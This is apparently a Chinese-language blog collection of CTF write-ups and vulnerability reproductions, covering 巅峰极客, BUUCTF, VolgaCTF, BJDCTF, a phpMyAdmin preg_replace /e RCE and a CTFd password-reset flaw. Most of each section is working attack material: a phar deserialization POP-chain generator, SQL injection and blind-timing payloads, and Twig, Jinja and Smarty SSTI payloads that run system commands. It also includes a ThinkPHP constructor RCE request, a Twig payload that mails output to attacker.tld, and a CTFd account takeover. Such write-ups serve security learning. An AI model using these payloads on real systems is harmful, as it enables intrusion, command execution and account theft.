巅峰极客

巅峰极客

aweb_1

abcdefghij1@qq.com

黑名单:union

fuckyoufuck'/**/or/**/1^'0

最后payload:admin'/*ffuuucckyou*/or/**/'

upload

已知文件:file.php,download.php,index.php,upload_file.php

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
if(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) {
die('hacker!');
}elseif(!preg_match('/\//i',$file))
{
die('hacker!');
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class Show
{
public $source;
public $str;
public function __construct($file)
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}

class Sh0w
{
public $test;
public $str;
public function __construct($name)
{
$this->str = new Show('index.php');
$this->str->source = $this->test;

}
public function __destruct()
{
$this->str->_show();
}
}
?>

分析发现一堆类,且file_exists可以触发phar反序列化漏洞

pop链:

sh0w($str=new S6ow)->S6ow($file=new Show,$_show="file_get")->Show($source='/flag')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
class Show
{
public $source;
public $str;
public function __construct()
{
$this->source="/flag";
$this->str="";
$text= $this->source;

}
public function __toString()
{
$text= $this->source;

}

}
class S6ow
{
public $file;
public $params;
public $_show;
public function __construct()
{
$this->params = array();
$this->file=new Show;
$this->_show="file_get";

}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
$name="_show";
print($name);
print($this->{$name});
if($this->{$name})
$this->{$this->{$name}}($arguments);
//$this->file_get($arguments);
//$this->{$name}="file_get"
//$name=_show
//$file=new Show;
}
public function file_get($value)
{
}
}

class Sh0w
{
public $test;
public $str;
public function __construct()
{
$this->str =new S6ow;
$this->test="";

}
public function __destruct()
{
$this->str->_show();
}
}


$a=new Sh0w();

@unlink("hello.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,phar伪协议不用phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,只要后面部分为__HALT_COMPILER();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

flag{a592b240-32ae-4381-a0ab-83790c98ca28}

phpmyadmin_登陆后_rce

phpmyadmin登陆后rce

漏洞信息

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

漏洞分析

全局搜索preg_replace,发现以下可能有可控变量的位置:

容易找到

TableSearch.lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function _getRegexReplaceRows($columnIndex, $find, $replaceWith, $charSet)
{
$column = $this->_columnNames[$columnIndex];
$sql_query = "SELECT "
. PMA_Util::backquote($column) . ","
. " 1," // to add an extra column that will have replaced value
. " COUNT(*)"
. " FROM " . PMA_Util::backquote($this->_db)
. "." . PMA_Util::backquote($this->_table)
. " WHERE " . PMA_Util::backquote($column)
. " RLIKE '" . PMA_Util::sqlAddSlashes($find) . "' COLLATE "
. $charSet . "_bin"; // here we
// change the collation of the 2nd operand to a case sensitive
// binary collation to make sure that the comparison is case sensitive
$sql_query .= " GROUP BY " . PMA_Util::backquote($column)
. " ORDER BY " . PMA_Util::backquote($column) . " ASC";

$result = $GLOBALS['dbi']->fetchResult($sql_query, 0);

if (is_array($result)) {
foreach ($result as $index=>$row) {
$result[$index][1] = preg_replace(
"/" . $find . "/",
$replaceWith,
$row[0]
);
}
}
return $result;
}

如果我们可以控制$result和$replaceWith那么我们就可以执行任意命令

image1674

我们先看getReplacePreview

image1764

再查看调用getReplacePreview的函数

image1858

去看第二个和第三个明显不行,这里就不贴出来了

再跟进tbl_find_replace.php

1
2
3
4
5
6
7
8
9
10
11
if (isset($_POST['find'])) {
$preview = $table_search->getReplacePreview(
$_POST['columnIndex'],
$_POST['find'],
$_POST['replaceWith'],
$_POST['useRegex'],
$connectionCharSet
);
$response->addJSON('preview', $preview);
exit;
}

明显白给

我们再回到_getRegexReplaceRows去查看它的第二个调用函数

image2318

再查看调用replace的函数

image2400

同样后面两个还是不行

在跟进tbl_find_replace.php

image2504

还是白给,两个调用链都是可以rce的,我们以前面那个为例

先往表中添加一条数据INSERT INTO flags (username,flag,msgid) VALUES (UNHEX('302F6500'),1,1);

直接抓包,修改

image2701

image2768

成功

poc

这个poc直接抄个别人的,懒得写了

https://www.exploit-db.com/exploits/40185

3月做题

3月做题

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
1
2
3
4
5
6
7
8
9
10
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
extract($_POST);
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

我们利用filter来吞掉一些字符,从而让我们任意反序列化

POST: _SESSION[abc]=flagflagphpphpphp&_SESSION[aaa]=;s:3:"img";s:12:"aW5kZXgucGhw";s:1:"a";s:1:"a";}

我们分析一下为什么是这个payload:

在phpinfo中找到

config Local Value Mastr Value
auto_append_file d0g3_f1ag.php d0g3_f1ag.php
1
2
_SESSION[abc]=flagflagphpphpphp&_SESSION[aaa]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
_SESSION[abc]=flagflagphpphpphp&_SESSION[aaa]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
1
2
3
4
5
6

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

flag{62b16099-c29d-499a-9dde-e54bf2985b31}

easymd5

1
select * from 'admin' where password=md5($pass,true)

md5($var,true)会返回一个原始的二进制数据,某些数据会被当成字符串

raw MD5 hashes are dangerous in SQL statements because they can contain characters with special meaning to MySQL(原始值会包含mysql中的特殊字符,因此很危险)。

特殊字符串:

129581926211651571912466741651878684928
ffifdyop

Mark loves cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}
#$x=handsome $y=flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

/index.php?yds=flag

The mystery of ip

根据题目的提示,修改xff头,发现可以修改ip,但是修改成127.0.0.1后没有啥东西

后来在fuzz的过程中发现,有ssti漏洞

1
2
3
4
5
6
7
8
9
10
GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:27223
Upgrade-Insecure-Requests: 1
X-Forwarded-For: {system('cat /flag')}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node3.buuoj.cn:27223/
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=gppova7f172e56f11qlrffpb64; JSESSIONID=0740A2433DEA975EE0C0C0CC0D0257D0
Connection: close

ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>
1
http://e121170e-2c2b-419c-909f-05b530db4272.node3.buuoj.cn/?text=data://text/plain,I%20have%20a%20dream&file=next.php

next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

1
http://e121170e-2c2b-419c-909f-05b530db4272.node3.buuoj.cn/?&\D*=${getFlag()}&file=next.php&text=data://,I%20have%20a%20dream&cmd=system(%27cat%20/flag%27);

根据提示发现

1
Cookie: PHPSESSID=30c6cb67d4e030c673ad2fa83c35cbc7; user=admin

fuzz过程中猜测是ssti

image4749

检测出是twig

1
Cookie: PHPSESSID=30c6cb67d4e030c673ad2fa83c35cbc7; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

EasySearch

在index.php.swp中找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

爆破得到密码,

因为将用户名插入到了shtml,造成ssi rce

https://github.com/vulhub/vulhub/tree/master/httpd/ssi-rce

CTFd任意密码重置复现

CTFd任意密码重置复现

今天刚好做到一题CTFd的就顺便复现下

这是补丁的信息:Strip spaces on registration and refine password reset

根据补丁信息去找register的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
def register():
errors = get_errors()
if request.method == "POST":
name = request.form["name"]
email_address = request.form["email"]
password = request.form["password"]

name_len = len(name) == 0
names = Users.query.add_columns("name", "id").filter_by(name=name).first()
emails = (
Users.query.add_columns("email", "id")
.filter_by(email=email_address)
.first()
)
pass_short = len(password.strip()) == 0
pass_long = len(password) > 128
valid_email = validators.validate_email(request.form["email"])
team_name_email_check = validators.validate_email(name)

if not valid_email:
errors.append("Please enter a valid email address")
if email.check_email_is_whitelisted(email_address) is False:
errors.append(
"Only email addresses under {domains} may register".format(
domains=get_config("domain_whitelist")
)
)
if names:
errors.append("That user name is already taken")
if team_name_email_check is True:
errors.append("Your user name cannot be an email address")
if emails:
errors.append("That email has already been used")
if pass_short:
errors.append("Pick a longer password")
if pass_long:
errors.append("Pick a shorter password")
if name_len:
errors.append("Pick a longer user name")

if len(errors) > 0:
return render_template(
"register.html",
errors=errors,
name=request.form["name"],
email=request.form["email"],
password=request.form["password"],
)
else:
with app.app_context():
user = Users(
name=name.strip(),
email=email_address.lower(),
password=password.strip(),
)
db.session.add(user)
db.session.commit()
db.session.flush()

login_user(user)

if config.can_send_mail() and get_config(
"verify_emails"
): # Confirming users is enabled and we can send email.
log(
"registrations",
format="[{date}] {ip} - {name} registered (UNCONFIRMED) with {email}",
)
email.verify_email_address(user.email)
db.session.close()
return redirect(url_for("auth.confirm"))
else: # Don't care about confirming users
if (
config.can_send_mail()
): # We want to notify the user that they have registered.
email.sendmail(
request.form["email"],
"You've successfully registered for {}".format(
get_config("ctf_name")
),
)

log("registrations", "[{date}] {ip} - {name} registered with {email}")
db.session.close()

if is_teams_mode():
return redirect(url_for("teams.private"))

return redirect(url_for("challenges.listing"))
else:
return render_template("register.html", errors=errors)

阅读代码发现,查询用户名是否重复是直接将我们的输入拿去查询

1
2
3
4
5
6
7
8
9
10
11
12
13
name = request.form["name"]
email_address = request.form["email"]
password = request.form["password"]

name_len = len(name) == 0
names = Users.query.add_columns("name", "id").filter_by(name=name).first()#这里这里
emails = (
Users.query.add_columns("email", "id")
.filter_by(email=email_address)
.first()
)
if names:
errors.append("That user name is already taken")

而验证没有重复后,则将我们输入的用户名strip后,在添加到数据库,也就是说我们可以在数据库弄多个同名账号

1
2
3
4
5
user = Users(
name=name.strip(),
email=email_address.lower(),
password=password.strip(),
)

CTFd重置密码会收到这样的email

1
2
3
Did you initiate a password reset? Click the following link to reset your password:

http://f04e02df-7759-45ba-a2b2-b89399e91ca0.node3.buuoj.cn/reset_password/ImFkbWluIg.XoRn7w.CDy8yi95cLlHsZN_YRiCp9Z-mX4

我们去找/reset_password/<xxx>的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@auth.route("/reset_password", methods=["POST", "GET"])
@auth.route("/reset_password/<data>", methods=["POST", "GET"])
@ratelimit(method="POST", limit=10, interval=60)
def reset_password(data=None):
if data is not None:
try:
name = unserialize(data, max_age=1800)
except (BadTimeSignature, SignatureExpired):
return render_template(
"reset_password.html", errors=["Your link has expired"]
)
except (BadSignature, TypeError, base64.binascii.Error):
return render_template(
"reset_password.html", errors=["Your reset token is invalid"]
)
if request.method == "GET":
return render_template("reset_password.html", mode="set")
if request.method == "POST":
user = Users.query.filter_by(name=name).first_or_404()
user.password = request.form["password"].strip()
db.session.commit()
log(
"logins",
format="[{date}] {ip} - successful password reset for {name}",
name=name,
)
db.session.close()
return redirect(url_for("auth.login"))

我们发现,重置密码是根据用户名查出的第一个记录进行修改user = Users.query.filter_by(name=name).first_or_404()

这样我们就成功覆盖了之前真实用户的密码而不是我们创建的用户

volgactf

volgactf

web

Newsletter

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
public function index(Request $request)
{
return $this->render('main.twig');
}

public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));

$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();###这里

$mail = (new Email())->from('[email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);

$msg = 'Success';
} else {
$msg = 'Invalid email';
}
return $this->render('main.twig', ['msg' => $msg]);
}


public function source()
{
return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
}
}

我们很容易知道这里存在ssti,但是有两个问题:

  1. FILTER_VALIDATE_EMAIL验证
  2. 如何接收结果

第二个问题不难解决,直接用自己的vps接受就可以,第一个问题通过查询维基百科也可以构造出payload,但是payload却有长度限制,最多只能有64个字符,通常的twig ssti的payload是无法直接用的了,需要我们自己挖掘

https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly
https://en.wikipedia.org/wiki/Email_address

python -m smtpd -n -c DebuggingServer 0.0.0.0:25

以下是我挖掘发现的payload,最后还是没能做出来,原因是自己查询的版本和题目的版本不一样

1
2
3
4
5
6
7
8
9

"{{app.request}}"@ccreater.top
"{{app.environment}}"%40ccreater.top : prod
"{{app.request.request.get('name')}}"@[47.107.171.219]
email="{{render(controller(app.request.request.get('a')))}}"@ccreater.top&a=App\Controller\MainController::source


"{{render(controller(app.request.query.get(1),{'file':'flag'}))}}"@ccreater.top 1=Symfony\Bundle\FrameworkBundle\Controller::file
文件名最长只能4个,并没有读到flag

以下是wp提供的payload

https://symfony.com/doc/current/reference/twig_reference.html#file-excerpt

1
2
3
4
5
6
7
8
9
10
email="{{'/etc/passwd'|file_excerpt(1,30)}}"@attacker.tld




POST /subscribe?0=cat+/etc/passwd HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Content-Type: application/x-www-form-urlencoded

email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

https://twig.symfony.com/doc/3.x/functions/constant.html
VolgaCTF_6751602deea2a308ab611eeef7a4e961
https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html?m=1

其中有一个filter_var来命令执行实在是让我惊讶

NetCorp

这题挺简单的,但是我还是搞了好久,对jsp和题目的cve一点都不熟悉,搞得我写个payload都百度半天

端口扫描发现:

1
2
8009/tcp open     ajp13
9090/tcp open zeus-admin

tomcat ajp前段时间刚好出了个文件读取/包含的漏洞

试了一下,确实存在这个洞

先读取/WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>NetCorp</display-name>


<servlet>
<servlet-name>ServeScreenshot</servlet-name>
<display-name>ServeScreenshot</display-name>
<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ServeScreenshot</servlet-name>
<url-pattern>/ServeScreenshot</url-pattern>
</servlet-mapping>


<servlet>
<servlet-name>ServeComplaint</servlet-name>
<display-name>ServeComplaint</display-name>
<description>Complaint info</description>
<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ServeComplaint</servlet-name>
<url-pattern>/ServeComplaint</url-pattern>
</servlet-mapping>

<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>



</web-app>

再读取其他的class文件,其中发现一个上传点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

package ru.volgactf.netcorp;

import java.io.*;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Collection;
import java.util.Iterator;
import javax.servlet.*;
import javax.servlet.http.*;

public class ServeScreenshotServlet extends HttpServlet
{

public ServeScreenshotServlet()
{
System.out.println("ServeScreenshotServlet Constructor called!");
}

public void init(ServletConfig config)
throws ServletException
{
System.out.println("ServeScreenshotServlet \"Init\" method called");
}

public void destroy()
{
System.out.println("ServeScreenshotServlet \"Destroy\" method called");
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String appPath = request.getServletContext().getRealPath("");
String savePath = (new StringBuilder()).append(appPath).append("uploads").toString();
File fileSaveDir = new File(savePath);
if(!fileSaveDir.exists())
fileSaveDir.mkdir();
String submut = request.getParameter("submit");
if(submut != null)
if(submut.equals("true"));
PrintWriter out = request.getParts().iterator();
do
{
if(!out.hasNext())
break;
Part part = (Part)out.next();
String fileName = extractFileName(part);
fileName = (new File(fileName)).getName();
String hashedFileName = generateFileName(fileName);
String path = (new StringBuilder()).append(savePath).append(File.separator).append(hashedFileName).toString();
if(!path.equals("Error"))
part.write(path);
} while(true);
out = response.getWriter();
response.setContentType("application/json");
response.setCharacterEncoding("UTF-8");
out.print(String.format("{'success':'%s'}", new Object[] {
"true"
}));
out.flush();
}

private String generateFileName(String fileName)
{
String s2;
StringBuilder sb;
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(fileName.getBytes());
byte digest[] = md.digest();
s2 = (new BigInteger(1, digest)).toString(16);
sb = new StringBuilder(32);
int i = 0;
for(int count = 32 - s2.length(); i < count; i++)
sb.append("0");

return sb.append(s2).toString();
NoSuchAlgorithmException e;
e;
e.printStackTrace();
return "Error";
}

private String extractFileName(Part part)
{
String contentDisp = part.getHeader("content-disposition");
String items[] = contentDisp.split(";");
String as[] = items;
int i = as.length;
for(int j = 0; j < i; j++)
{
String s = as[j];
if(s.trim().startsWith("filename"))
return s.substring(s.indexOf("=") + 2, s.length() - 1);
}

return "";
}

private static final String SAVE_DIR = "uploads";
}

于是问题解决了

Library

这题有点意思,让我接触了一个新的查询语言 Graphql

先是通过报错获知了后端是nodejs,又通过报错得知了api是Graphql

[PayloadsAllTheThings GraphQL]( https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL Injection )

看了他们的官方文档,英文看的头都痛了,才了解一些(平常翘英语课的后果//)

根据他们的例子找到了一个奇怪的query name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
"name": "testGetUsersByFilter",
"description": "",
"args": [
{
"name": "filter",
"description": "",
"type": {
"kind": "INPUT_OBJECT",
"name": "UserFilter",
"ofType": null
},
"defaultValue": null
}
],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "User",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null

妥妥的薄弱点
构造

1
2
3
4
5
6
7
8
9
query testGetUsersByFilter($input: UserFilter){
testGetUsersByFilter(filter:$input) {
name
login
email
}

}
{"input":{"login":"\\","name":" a","email":""}}

返回提示数据库错误,sql注入get

User Center

https://spotless.tech/volgactf-2020-qualifier-user-center.html

总结:不同浏览器解析http报文的方式不同

子域可以修改域的cookie

BJDCTF

BJDCTF

web

fake google

1
{{%27%27.__class__.__mro__[1].__subclasses__()[-13].__init__.__globals__.__builtins__.eval(%27__import__("os").popen("find%20/%20-name%20*flag*").read()%27)}}

old_hack

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?s=captcha HTTP/1.1
Host: eb9ceebf-0bf5-4943-8580-9ccbf630568e.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

_method=__construct&filter%5B%5D=system&method=get&get%5B%5D=cat+/flag

duangShell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}


简单注入

1
2
3
username=a\&password=/if(1,sleep(5),1)%23
username=a\&password=/if(select/**/substr(group_concat(database()),1,1),sleep(5),1)%23
username=a\&password=/if(substr(hex(password),1,1)<5,sleep(5),1)%23

过滤:=,',;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
burp0_url = "http://f9dc5389-32c2-48b6-a208-cd32482ef972.node3.buuoj.cn:80/index.php"
burp0_cookies = {"_ga": "GA1.2.212283867.1584191400", "_gid": "GA1.2.1374622556.1584775121"}
